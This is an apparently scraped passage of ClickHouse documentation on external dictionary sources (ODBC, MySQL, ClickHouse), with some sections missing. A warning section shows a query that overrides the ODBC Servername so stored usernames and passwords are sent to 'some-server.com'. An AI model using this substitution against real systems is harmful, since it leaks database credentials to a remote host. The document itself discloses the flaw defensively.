Working with executable files depends on [how the dictionary is stored in memory](external_dicts_dict_layout.md). If the dictionary is stored using `cache` and `complex_key_cache`, ClickHouse requests the necessary keys by sending a request to the executable file's STDIN. Otherwise, ClickHouse starts executable file and treats its output as dictionary data.
Working with an HTTP(s) server depends on [how the dictionary is stored in memory](external_dicts_dict_layout.md). If the dictionary is stored using `cache` and `complex_key_cache`, ClickHouse requests the necessary keys by sending a request via the `POST` method.
In order for ClickHouse to access an HTTPS resource, you must [configure openSSL](../../operations/server_settings/settings.md#server_settings-openssl) in the server configuration.
-`db`– Name of the database. Omit it if the database name is set in the `<connection_string>` parameters.
-`table`– Name of the table and schema if exists.
-`connection_string`– Connection string.
-`invalidate_query`– Query for checking the dictionary status. Optional parameter. Read more in the section [Updating dictionaries](external_dicts_dict_lifetime.md).
ClickHouse receives quoting symbols from ODBC-driver and quote all settings in queries to driver, so it's necessary to set table name accordingly to table name case in database.
### Known vulnerability of the ODBC dictionary functionality
!!! attention
When connecting to the database through the ODBC driver connection parameter `Servername` can be substituted. In this case values of `USERNAME` and `PASSWORD` from `odbc.ini` are sent to the remote server and can be compromised.
**Example of insecure use**
Let's configure unixODBC for PostgreSQL. Content of `/etc/odbc.ini`:
```
[gregtest]
Driver = /usr/lib/psqlodbca.so
Servername = localhost
PORT = 5432
DATABASE = test_db
#OPTION = 3
USERNAME = test
PASSWORD = test
```
If you then make a query such as
```
SELECT * FROM odbc('DSN=gregtest;Servername=some-server.com', 'test_db');
```
ODBC driver will send values of `USERNAME` and `PASSWORD` from `odbc.ini` to `some-server.com`.
### Example of Connecting PostgreSQL
Ubuntu OS.
Installing unixODBC and the ODBC driver for PostgreSQL:
### MySQL {#dicts-external_dicts_dict_sources-mysql}
Example of settings:
```xml
<source>
<mysql>
<port>3306</port>
<user>clickhouse</user>
<password>qwerty</password>
<replica>
<host>example01-1</host>
<priority>1</priority>
</replica>
<replica>
<host>example01-2</host>
<priority>1</priority>
</replica>
<db>db_name</db>
<table>table_name</table>
<where>id=10</where>
<invalidate_query>SQL_QUERY</invalidate_query>
</mysql>
</source>
```
Setting fields:
-`port`– The port on the MySQL server. You can specify it for all replicas, or for each one individually (inside `<replica>`).
-`user`– Name of the MySQL user. You can specify it for all replicas, or for each one individually (inside `<replica>`).
-`password`– Password of the MySQL user. You can specify it for all replicas, or for each one individually (inside `<replica>`).
-`replica`– Section of replica configurations. There can be multiple sections.
-`replica/host`– The MySQL host.
\* `replica/priority`– The replica priority. When attempting to connect, ClickHouse traverses the replicas in order of priority. The lower the number, the higher the priority.
-`db`– Name of the database.
-`table`– Name of the table.
-`where `– The selection criteria. Optional parameter.
-`invalidate_query`– Query for checking the dictionary status. Optional parameter. Read more in the section [Updating dictionaries](external_dicts_dict_lifetime.md).
MySQL can be connected on a local host via sockets. To do this, set `host` and `socket`.
-`host`– The ClickHouse host. If it is a local host, the query is processed without any network activity. To improve fault tolerance, you can create a [Distributed](../../operations/table_engines/distributed.md) table and enter it in subsequent configurations.
-`port`– The port on the ClickHouse server.
-`user`– Name of the ClickHouse user.
-`password`– Password of the ClickHouse user.
-`db`– Name of the database.
-`table`– Name of the table.
-`where `– The selection criteria. May be omitted.
-`invalidate_query`– Query for checking the dictionary status. Optional parameter. Read more in the section [Updating dictionaries](external_dicts_dict_lifetime.md).
